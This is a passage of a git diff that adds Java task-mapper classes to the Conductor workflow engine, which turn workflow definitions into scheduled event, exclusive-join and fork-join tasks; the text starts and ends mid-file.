getDynamicTaskName(Map taskInput, String taskNameParam) + throws TerminateWorkflowException { + return Optional.ofNullable(taskInput.get(taskNameParam)) + .map(String::valueOf) + .orElseThrow( + () -> { + String reason = + String.format( + "Cannot map a dynamic task based on the parameter and input. " + + "Parameter= %s, input= %s", + taskNameParam, taskInput); + return new TerminateWorkflowException(reason); + }); + } + + /** + * This method gets the TaskDefinition for a specific {@link WorkflowTask} + * + * @param workflowTask: An instance of {@link WorkflowTask} which has the name of the using + * which the {@link TaskDef} can be retrieved. + * @return An instance of TaskDefinition + * @throws TerminateWorkflowException : in case of no workflow definition available + */ + @VisibleForTesting + TaskDef getDynamicTaskDefinition(WorkflowTask workflowTask) + throws TerminateWorkflowException { // TODO this is a common pattern in code base can + // be moved to DAO + return Optional.ofNullable(workflowTask.getTaskDefinition()) + .orElseGet( + () -> + Optional.ofNullable(metadataDAO.getTaskDef(workflowTask.getName())) + .orElseThrow( + () -> { + String reason = + String.format( + "Invalid task specified. Cannot find task by name %s in the task definitions", + workflowTask.getName()); + return new TerminateWorkflowException(reason); + })); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/EventTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/EventTaskMapper.java new file mode 100644 index 0000000..0ec3235 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/EventTaskMapper.java @@ -0,0 +1,73 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_EVENT; + +@Component +public class EventTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(EventTaskMapper.class); + + private final ParametersUtils parametersUtils; + + public EventTaskMapper(ParametersUtils parametersUtils) { + this.parametersUtils = parametersUtils; + } + + @Override + public String getTaskType() { + return TaskType.EVENT.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + + LOGGER.debug("TaskMapperContext {} in EventTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + + workflowTask.getInputParameters().put("sink", workflowTask.getSink()); + workflowTask.getInputParameters().put("asyncComplete", workflowTask.isAsyncComplete()); + Map eventTaskInput = + parametersUtils.getTaskInputV2( + workflowTask.getInputParameters(), workflowModel, taskId, null); + String sink = (String) eventTaskInput.get("sink"); + Boolean asynComplete = (Boolean) eventTaskInput.get("asyncComplete"); + + TaskModel eventTask = taskMapperContext.createTaskModel(); + eventTask.setTaskType(TASK_TYPE_EVENT); + eventTask.setStatus(TaskModel.Status.SCHEDULED); + + eventTask.setInputData(eventTaskInput); + eventTask.getInputData().put("sink", sink); + eventTask.getInputData().put("asyncComplete", asynComplete); + + return List.of(eventTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/ExclusiveJoinTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/ExclusiveJoinTaskMapper.java new file mode 100644 index 0000000..587460c --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/ExclusiveJoinTaskMapper.java @@ -0,0 +1,60 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.model.TaskModel; + +@Component +public class ExclusiveJoinTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(ExclusiveJoinTaskMapper.class); + + @Override + public String getTaskType() { + return TaskType.EXCLUSIVE_JOIN.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + + LOGGER.debug("TaskMapperContext {} in ExclusiveJoinTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + + Map joinInput = new HashMap<>(); + joinInput.put("joinOn", workflowTask.getJoinOn()); + + if (workflowTask.getDefaultExclusiveJoinTask() != null) { + joinInput.put("defaultExclusiveJoinTask", workflowTask.getDefaultExclusiveJoinTask()); + } + + TaskModel joinTask = taskMapperContext.createTaskModel(); + joinTask.setTaskType(TaskType.TASK_TYPE_EXCLUSIVE_JOIN); + joinTask.setTaskDefName(TaskType.TASK_TYPE_EXCLUSIVE_JOIN); + joinTask.setStartTime(System.currentTimeMillis()); + joinTask.setInputData(joinInput); + joinTask.setStatus(TaskModel.Status.IN_PROGRESS); + + return List.of(joinTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/ForkJoinDynamicTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/ForkJoinDynamicTaskMapper.java new file mode 100644 index 0000000..1690416 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/ForkJoinDynamicTaskMapper.java @@ -0,0 +1,605 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.*; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.tuple.ImmutablePair; +import org.apache.commons.lang3.tuple.Pair; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.DynamicForkJoinTaskList; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.*; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#FORK_JOIN_DYNAMIC} to a LinkedList of {@link TaskModel} beginning with a {@link + * TaskType#TASK_TYPE_FORK}, followed by the user defined dynamic tasks and a {@link TaskType#JOIN} + * at the end + */ +@Component +public class ForkJoinDynamicTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(ForkJoinDynamicTaskMapper.class); + + private final IDGenerator idGenerator; + private final ParametersUtils parametersUtils; + private final ObjectMapper objectMapper; + private final MetadataDAO metadataDAO; + + private final SystemTaskRegistry systemTaskRegistry; + private static final TypeReference> ListOfWorkflowTasks = + new TypeReference<>() {}; + + @Autowired + public ForkJoinDynamicTaskMapper( + IDGenerator idGenerator, + ParametersUtils parametersUtils, + ObjectMapper objectMapper, + MetadataDAO metadataDAO, + SystemTaskRegistry systemTaskRegistry) { + this.idGenerator = idGenerator; + this.parametersUtils = parametersUtils; + this.objectMapper = objectMapper; + this.metadataDAO = metadataDAO; + this.systemTaskRegistry = systemTaskRegistry; + } + + @Override + public String getTaskType() { + return TaskType.FORK_JOIN_DYNAMIC.name(); + } + + /** + * This method gets the list of tasks that need to scheduled when the task to scheduled is of + * type {@link TaskType#FORK_JOIN_DYNAMIC}. Creates a Fork Task, followed by the Dynamic tasks + * and a final JOIN task. + * + *

    The definitions of the dynamic forks that need to be scheduled are available in the {@link + * WorkflowTask#getInputParameters()} which are accessed using the {@link + * TaskMapperContext#getWorkflowTask()}. The dynamic fork task definitions are referred by a key + * value either by {@link WorkflowTask#getDynamicForkTasksParam()} or by {@link + * WorkflowTask#getDynamicForkJoinTasksParam()} When creating the list of tasks to be scheduled + * a set of preconditions are validated: + * + *

      + *
    • If the input parameter representing the Dynamic fork tasks is available as part of + * {@link WorkflowTask#getDynamicForkTasksParam()} then the input for the dynamic task is + * validated to be a map by using {@link WorkflowTask#getDynamicForkTasksInputParamName()} + *
    • If the input parameter representing the Dynamic fork tasks is available as part of + * {@link WorkflowTask#getDynamicForkJoinTasksParam()} then the input for the dynamic + * tasks is available in the payload of the tasks definition. + *
    • A check is performed that the next following task in the {@link WorkflowDef} is a + * {@link TaskType#JOIN} + *
    + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return List of tasks in the following order: + *
      + *
    • {@link TaskType#TASK_TYPE_FORK} with {@link TaskModel.Status#COMPLETED} + *
    • Might be any kind of task, but this is most cases is a UserDefinedTask with {@link + * TaskModel.Status#SCHEDULED} + *
    • {@link TaskType#JOIN} with {@link TaskModel.Status#IN_PROGRESS} + *
    + * + * @throws TerminateWorkflowException In case of: + *
      + *
    • When the task after {@link TaskType#FORK_JOIN_DYNAMIC} is not a {@link + * TaskType#JOIN} + *
    • When the input parameters for the dynamic tasks are not of type {@link Map} + *
    + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + LOGGER.debug("TaskMapperContext {} in ForkJoinDynamicTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + int retryCount = taskMapperContext.getRetryCount(); + Map input = + parametersUtils.getTaskInput( + workflowTask.getInputParameters(), workflowModel, null, null); + + List mappedTasks = new LinkedList<>(); + int dynamicForkTaskCount = 0; + // can't rely on tasks from definition because dynamic forks can be inside dynamic forks + // so we'll just check tasks that are in workflow model right now + for (TaskModel task : workflowModel.getTasks()) { + if (FORK_JOIN_DYNAMIC.name().equals(task.getWorkflowTask().getType())) { + dynamicForkTaskCount++; + break; + } + } + Pair, Map>> workflowTasksAndInputPair = + getDynamicTasksSimple( + workflowTask, + input, + taskMapperContext.getWorkflowTask().getTaskReferenceName(), + dynamicForkTaskCount >= 1); + + // Get the list of dynamic tasks and the input for the tasks + if (workflowTasksAndInputPair == null) { + workflowTasksAndInputPair = + Optional.ofNullable(workflowTask.getDynamicForkTasksParam()) + .map( + dynamicForkTaskParam -> + getDynamicForkTasksAndInput( + workflowTask, + workflowModel, + dynamicForkTaskParam, + input)) + .orElseGet( + () -> + getDynamicForkJoinTasksAndInput( + workflowTask, workflowModel, input)); + } + + List dynForkTasks = workflowTasksAndInputPair.getLeft(); + Map> tasksInput = workflowTasksAndInputPair.getRight(); + + // Create Fork Task which needs to be followed by the dynamic tasks + TaskModel forkDynamicTask = createDynamicForkTask(taskMapperContext, dynForkTasks); + forkDynamicTask.getInputData().putAll(taskMapperContext.getTaskInput()); + + mappedTasks.add(forkDynamicTask); + + Optional exists = + workflowModel.getTasks().stream() + .filter( + task -> + task.getReferenceTaskName() + .equals( + taskMapperContext + .getWorkflowTask() + .getTaskReferenceName())) + .findAny(); + List joinOnTaskRefs = new LinkedList<>(); + + if (!exists.isPresent()) { + // Add each dynamic task to the mapped tasks and also get the last dynamic task in the + // list, + // which indicates that the following task after that needs to be a join task + for (WorkflowTask dynForkTask : + dynForkTasks) { // TODO this is a cyclic dependency, break it out using function + // composition + try { + Map forkedTaskInput = + tasksInput.get(dynForkTask.getTaskReferenceName()); + if (dynForkTask.getInputParameters() == null) { + dynForkTask.setInputParameters(new HashMap<>()); + } + if (forkedTaskInput == null) { + forkedTaskInput = new HashMap<>(); + } + dynForkTask.getInputParameters().putAll(forkedTaskInput); + } catch (Exception e) { + String reason = + String.format( + "Tasks could not be dynamically forked due to invalid input: %s", + e.getMessage()); + throw new TerminateWorkflowException(reason); + } + List forkedTasks = + taskMapperContext + .getDeciderService() + .getTasksToBeScheduled(workflowModel, dynForkTask, retryCount); + if (forkedTasks == null || forkedTasks.isEmpty()) { + Optional existingTaskRefName = + workflowModel.getTasks().stream() + .filter( + runningTask -> + runningTask + .getStatus() + .equals( + TaskModel.Status + .IN_PROGRESS) + || runningTask.getStatus().isTerminal()) + .map(TaskModel::getReferenceTaskName) + .filter( + refTaskName -> + refTaskName.equals( + dynForkTask.getTaskReferenceName())) + .findAny(); + + // Construct an informative error message + String terminateMessage = + "No dynamic tasks could be created for the Workflow: " + + workflowModel.toShortString() + + ", Dynamic Fork Task: " + + dynForkTask; + if (existingTaskRefName.isPresent()) { + terminateMessage += + " attempted to create a duplicate task reference name: " + + existingTaskRefName.get(); + } + throw new TerminateWorkflowException(terminateMessage); + } + + mappedTasks.addAll(forkedTasks); + // Get the last of the dynamic tasks so that the join can be performed once this + // task is + // done + TaskModel last = forkedTasks.get(forkedTasks.size() - 1); + joinOnTaskRefs.add(last.getReferenceTaskName()); + } + } + + // From the workflow definition get the next task and make sure that it is a JOIN task. + // The dynamic fork tasks need to be followed by a join task + WorkflowTask joinWorkflowTask = + workflowModel + .getWorkflowDefinition() + .getNextTask(workflowTask.getTaskReferenceName()); + + if (joinWorkflowTask == null || !joinWorkflowTask.getType().equals(TaskType.JOIN.name())) { + throw new TerminateWorkflowException( + "Dynamic join definition is not followed by a join task. Check the workflow definition."); + } + + // Create Join task + HashMap joinInput = new HashMap<>(joinWorkflowTask.getInputParameters()); + joinInput.put("joinOn", joinOnTaskRefs); + TaskModel joinTask = createJoinTask(workflowModel, joinWorkflowTask, joinInput); + mappedTasks.add(joinTask); + + return mappedTasks; + } + + /** + * This method creates a FORK task and adds the list of dynamic fork tasks keyed by + * "forkedTaskDefs" and their names keyed by "forkedTasks" into {@link TaskModel#getInputData()} + * + * @param taskMapperContext: The {@link TaskMapperContext} which wraps workflowTask, workflowDef + * and workflowModel + * @param dynForkTasks: The list of dynamic forked tasks, the reference names of these tasks + * will be added to the forkDynamicTask + * @return A new instance of {@link TaskModel} representing a {@link TaskType#TASK_TYPE_FORK} + */ + @VisibleForTesting + TaskModel createDynamicForkTask( + TaskMapperContext taskMapperContext, List dynForkTasks) { + TaskModel forkDynamicTask = taskMapperContext.createTaskModel(); + forkDynamicTask.setTaskType(TaskType.TASK_TYPE_FORK); + forkDynamicTask.setTaskDefName(TaskType.TASK_TYPE_FORK); + forkDynamicTask.setStartTime(System.currentTimeMillis()); + forkDynamicTask.setEndTime(System.currentTimeMillis()); + forkDynamicTask.setExecuted(true); + List forkedTaskNames = + dynForkTasks.stream() + .map(WorkflowTask::getTaskReferenceName) + .collect(Collectors.toList()); + forkDynamicTask.getInputData().put("forkedTasks", forkedTaskNames); + forkDynamicTask + .getInputData() + .put( + "forkedTaskDefs", + dynForkTasks); // TODO: Remove this parameter in the later releases + forkDynamicTask.setStatus(TaskModel.Status.COMPLETED); + return forkDynamicTask; + } + + /** + * This method creates a JOIN task that is used in the {@link + * this#getMappedTasks(TaskMapperContext)} at the end to add a join task to be scheduled after + * all the fork tasks + * + * @param workflowModel: A instance of the {@link WorkflowModel} which represents the workflow + * being executed. + * @param joinWorkflowTask: A instance of {@link WorkflowTask} which is of type {@link + * TaskType#JOIN} + * @param joinInput: The input which is set in the {@link TaskModel#setInputData(Map)} + * @return a new instance of {@link TaskModel} representing a {@link TaskType#JOIN} + */ + @VisibleForTesting + TaskModel createJoinTask( + WorkflowModel workflowModel, + WorkflowTask joinWorkflowTask, + HashMap joinInput) { + TaskModel joinTask = new TaskModel(); + joinTask.setTaskType(TaskType.TASK_TYPE_JOIN); + joinTask.setTaskDefName(TaskType.TASK_TYPE_JOIN); + joinTask.setReferenceTaskName(joinWorkflowTask.getTaskReferenceName()); + joinTask.setWorkflowInstanceId(workflowModel.getWorkflowId()); + joinTask.setWorkflowType(workflowModel.getWorkflowName()); + joinTask.setCorrelationId(workflowModel.getCorrelationId()); + joinTask.setScheduledTime(System.currentTimeMillis()); + joinTask.setStartTime(System.currentTimeMillis()); + joinTask.setInputData(joinInput); + joinTask.setTaskId(idGenerator.generate()); + joinTask.setStatus(TaskModel.Status.IN_PROGRESS); + joinTask.setWorkflowTask(joinWorkflowTask); + joinTask.setWorkflowPriority(workflowModel.getPriority()); + return joinTask; + } + + /** + * This method is used to get the List of dynamic workflow tasks and their input based on the + * {@link WorkflowTask#getDynamicForkTasksParam()} + * + * @param workflowTask: The Task of type FORK_JOIN_DYNAMIC that needs to scheduled, which has + * the input parameters + * @param workflowModel: The instance of the {@link WorkflowModel} which represents the workflow + * being executed. + * @param dynamicForkTaskParam: The key representing the dynamic fork join json payload which is + * available in {@link WorkflowTask#getInputParameters()} + * @return a {@link Pair} representing the list of dynamic fork tasks in {@link Pair#getLeft()} + * and the input for the dynamic fork tasks in {@link Pair#getRight()} + * @throws TerminateWorkflowException : In case of input parameters of the dynamic fork tasks + * not represented as {@link Map} + */ + @SuppressWarnings("unchecked") + @VisibleForTesting + Pair, Map>> getDynamicForkTasksAndInput( + WorkflowTask workflowTask, + WorkflowModel workflowModel, + String dynamicForkTaskParam, + Map input) + throws TerminateWorkflowException { + + List dynamicForkWorkflowTasks = + getDynamicForkWorkflowTasks(dynamicForkTaskParam, input); + if (dynamicForkWorkflowTasks == null) { + dynamicForkWorkflowTasks = new ArrayList<>(); + } + for (WorkflowTask dynamicForkWorkflowTask : dynamicForkWorkflowTasks) { + if ((dynamicForkWorkflowTask.getTaskDefinition() == null) + && StringUtils.isNotBlank(dynamicForkWorkflowTask.getName())) { + dynamicForkWorkflowTask.setTaskDefinition( + metadataDAO.getTaskDef(dynamicForkWorkflowTask.getName())); + } + } + Object dynamicForkTasksInput = input.get(workflowTask.getDynamicForkTasksInputParamName()); + if (!(dynamicForkTasksInput instanceof Map)) { + throw new TerminateWorkflowException( + "Input to the dynamically forked tasks is not a map -> expecting a map of K,V but found " + + dynamicForkTasksInput); + } + return new ImmutablePair<>( + dynamicForkWorkflowTasks, (Map>) dynamicForkTasksInput); + } + + private List getDynamicForkWorkflowTasks( + String dynamicForkTaskParam, Map input) { + Object dynamicForkTasksJson = input.get(dynamicForkTaskParam); + try { + List tasks = + objectMapper.convertValue(dynamicForkTasksJson, ListOfWorkflowTasks); + for (var task : tasks) { + if (task.getTaskReferenceName() == null) { + throw new RuntimeException( + "One of the tasks had a null/missing taskReferenceName"); + } + } + return tasks; + } catch (Exception e) { + LOGGER.warn("IllegalArgumentException in getDynamicForkTasksAndInput", e); + throw new TerminateWorkflowException( + String.format( + "Input '%s' is invalid. Cannot deserialize a list of Workflow Tasks from '%s'", + dynamicForkTaskParam, dynamicForkTasksJson)); + } + } + + Pair, Map>> getDynamicTasksSimple( + WorkflowTask workflowTask, + Map input, + String parentTaskName, + boolean hasMoreThanOneFork) + throws TerminateWorkflowException { + + String forkSubWorkflowName = (String) input.get("forkTaskWorkflow"); + String forkSubWorkflowVersionStr = (String) input.get("forkTaskWorkflowVersion"); + Integer forkSubWorkflowVersion = null; + try { + forkSubWorkflowVersion = Integer.parseInt(forkSubWorkflowVersionStr); + } catch (NumberFormatException nfe) { + } + + String forkTaskType = (String) input.get("forkTaskType"); + String forkTaskName = (String) input.get("forkTaskName"); + if (forkTaskType != null + && (systemTaskRegistry.isSystemTask(forkTaskType)) + && forkTaskName == null) { + forkTaskName = forkTaskType; + } + if (forkTaskName == null) { + forkTaskName = workflowTask.getTaskReferenceName(); + // or we can ban using just forkTaskWorkflow without forkTaskName + } + + if (forkTaskType == null) { + forkTaskType = TASK_TYPE_SIMPLE; + } + + // This should be a list + Object forkTaskInputs = input.get("forkTaskInputs"); + if (forkTaskInputs == null || !(forkTaskInputs instanceof List)) { + LOGGER.warn( + "fork_task_name is present but the inputs are NOT a list is empty {}", + forkTaskInputs); + return null; + } + List inputs = (List) forkTaskInputs; + + List dynamicForkWorkflowTasks = new ArrayList<>(inputs.size()); + Map> dynamicForkTasksInput = new HashMap<>(); + int i = 0; + for (Object forkTaskInput : inputs) { + WorkflowTask forkTask = null; + if (forkSubWorkflowName != null) { + forkTask = + generateSubWorkflowWorkflowTask( + forkSubWorkflowName, forkSubWorkflowVersion, forkTaskInput); + } else { + forkTask = generateWorkflowTask(forkTaskName, forkTaskType, forkTaskInput); + } + if (hasMoreThanOneFork) { + forkTask.setTaskReferenceName("_" + parentTaskName + "_" + forkTaskName + "_" + i); + } else { + forkTask.setTaskReferenceName("_" + forkTaskName + "_" + i); + } + forkTask.getInputParameters().put("__index", i++); + if (workflowTask.isOptional()) { + forkTask.setOptional(true); + } + + dynamicForkWorkflowTasks.add(forkTask); + dynamicForkTasksInput.put( + forkTask.getTaskReferenceName(), forkTask.getInputParameters()); + } + return new ImmutablePair<>(dynamicForkWorkflowTasks, dynamicForkTasksInput); + } + + private WorkflowTask generateWorkflowTask( + String forkTaskName, String forkTaskType, Object forkTaskInput) { + WorkflowTask forkTask = new WorkflowTask(); + + try { + forkTask = objectMapper.convertValue(forkTaskInput, WorkflowTask.class); + } catch (Exception ignored) { + } + + forkTask.setName(forkTaskName); + forkTask.setType(forkTaskType); + Map inputParameters = new HashMap<>(); + + if (forkTaskInput instanceof Map) { + inputParameters.putAll((Map) forkTaskInput); + } else { + inputParameters.put("input", forkTaskInput); + } + forkTask.setInputParameters(inputParameters); + forkTask.setTaskDefinition(metadataDAO.getTaskDef(forkTaskName)); + return forkTask; + } + + private WorkflowTask generateSubWorkflowWorkflowTask( + String name, Integer version, Object forkTaskInput) { + WorkflowTask forkTask = new WorkflowTask(); + + try { + forkTask = objectMapper.convertValue(forkTaskInput, WorkflowTask.class); + } catch (Exception ignored) { + } + + forkTask.setName(name); + forkTask.setType(SUB_WORKFLOW.toString()); + Map inputParameters = new HashMap<>(); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName(name); + subWorkflowParams.setVersion(version); + forkTask.setSubWorkflowParam(subWorkflowParams); + + if (forkTaskInput instanceof Map) { + inputParameters.putAll((Map) forkTaskInput); + Map forkTaskInputMap = (Map) forkTaskInput; + subWorkflowParams.setTaskToDomain( + (Map) forkTaskInputMap.get("taskToDomain")); + } else { + inputParameters.put("input", forkTaskInput); + } + forkTask.setInputParameters(inputParameters); + return forkTask; + } + + /** + * This method is used to get the List of dynamic workflow tasks and their input based on the + * {@link WorkflowTask#getDynamicForkJoinTasksParam()} + * + *

    NOTE: This method is kept for legacy reasons, new workflows should use the {@link + * #getDynamicForkTasksAndInput} + * + * @param workflowTask: The Task of type FORK_JOIN_DYNAMIC that needs to scheduled, which has + * the input parameters + * @param workflowModel: The instance of the {@link WorkflowModel} which represents the workflow + * being executed. + * @return {@link Pair} representing the list of dynamic fork tasks in {@link Pair#getLeft()} + * and the input for the dynamic fork tasks in {@link Pair#getRight()} + * @throws TerminateWorkflowException : In case of the {@link WorkflowTask#getInputParameters()} + * does not have a payload that contains the list of the dynamic tasks + */ + @VisibleForTesting + Pair, Map>> getDynamicForkJoinTasksAndInput( + WorkflowTask workflowTask, WorkflowModel workflowModel, Map input) + throws TerminateWorkflowException { + String dynamicForkJoinTaskParam = workflowTask.getDynamicForkJoinTasksParam(); + Object paramValue = input.get(dynamicForkJoinTaskParam); + DynamicForkJoinTaskList dynamicForkJoinTaskList = + objectMapper.convertValue(paramValue, DynamicForkJoinTaskList.class); + + if (dynamicForkJoinTaskList == null) { + String reason = + String.format( + "Dynamic tasks could not be created. The value of %s from task's input %s has no dynamic tasks to be scheduled", + dynamicForkJoinTaskParam, input); + LOGGER.error(reason); + throw new TerminateWorkflowException(reason); + } + + Map> dynamicForkJoinTasksInput = new HashMap<>(); + + List dynamicForkJoinWorkflowTasks = + dynamicForkJoinTaskList.getDynamicTasks().stream() + .peek( + dynamicForkJoinTask -> + dynamicForkJoinTasksInput.put( + dynamicForkJoinTask.getReferenceName(), + dynamicForkJoinTask + .getInput())) // TODO create a custom pair + // collector + .map( + dynamicForkJoinTask -> { + WorkflowTask dynamicForkJoinWorkflowTask = new WorkflowTask(); + dynamicForkJoinWorkflowTask.setTaskReferenceName( + dynamicForkJoinTask.getReferenceName()); + dynamicForkJoinWorkflowTask.setName( + dynamicForkJoinTask.getTaskName()); + dynamicForkJoinWorkflowTask.setType( + dynamicForkJoinTask.getType()); + if (dynamicForkJoinWorkflowTask.getTaskDefinition() == null + && StringUtils.isNotBlank( + dynamicForkJoinWorkflowTask.getName())) { + dynamicForkJoinWorkflowTask.setTaskDefinition( + metadataDAO.getTaskDef( + dynamicForkJoinTask.getTaskName())); + } + return dynamicForkJoinWorkflowTask; + }) + .collect(Collectors.toCollection(LinkedList::new)); + + return new ImmutablePair<>(dynamicForkJoinWorkflowTasks, dynamicForkJoinTasksInput); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/ForkJoinTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/ForkJoinTaskMapper.java new file mode 100644 index 0000000..9bc9aaa --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/ForkJoinTaskMapper.java @@ -0,0 +1,115 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#FORK_JOIN} to a LinkedList of {@link TaskModel} beginning with a completed {@link + * TaskType#TASK_TYPE_FORK}, followed by the user defined fork tasks + */ +@Component +public class ForkJoinTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(ForkJoinTaskMapper.class); + + @Override + public String getTaskType() { + return TaskType.FORK_JOIN.name(); + } + + /** + * This method gets the list of tasks that need to scheduled when the task to scheduled is of + * type {@link TaskType#FORK_JOIN}. + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return List of tasks in the following order: * + *

      + *
    • {@link TaskType#TASK_TYPE_FORK} with {@link TaskModel.Status#COMPLETED} + *
    • Might be any kind of task, but in most cases is a UserDefinedTask with {@link + * TaskModel.Status#SCHEDULED} + *
    + * + * @throws TerminateWorkflowException When the task after {@link TaskType#FORK_JOIN} is not a + * {@link TaskType#JOIN} + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + + LOGGER.debug("TaskMapperContext {} in ForkJoinTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + Map taskInput = taskMapperContext.getTaskInput(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + int retryCount = taskMapperContext.getRetryCount(); + + List tasksToBeScheduled = new LinkedList<>(); + TaskModel forkTask = taskMapperContext.createTaskModel(); + forkTask.setTaskType(TaskType.TASK_TYPE_FORK); + forkTask.setTaskDefName(TaskType.TASK_TYPE_FORK); + long epochMillis = System.currentTimeMillis(); + forkTask.setStartTime(epochMillis); + forkTask.setEndTime(epochMillis); + forkTask.setInputData(taskInput); + forkTask.setStatus(TaskModel.Status.COMPLETED); + if (Objects.nonNull(taskMapperContext.getTaskDefinition())) { + forkTask.setIsolationGroupId( + taskMapperContext.getTaskDefinition().getIsolationGroupId()); + } + + tasksToBeScheduled.add(forkTask); + List> forkTasks = workflowTask.getForkTasks(); + for (List 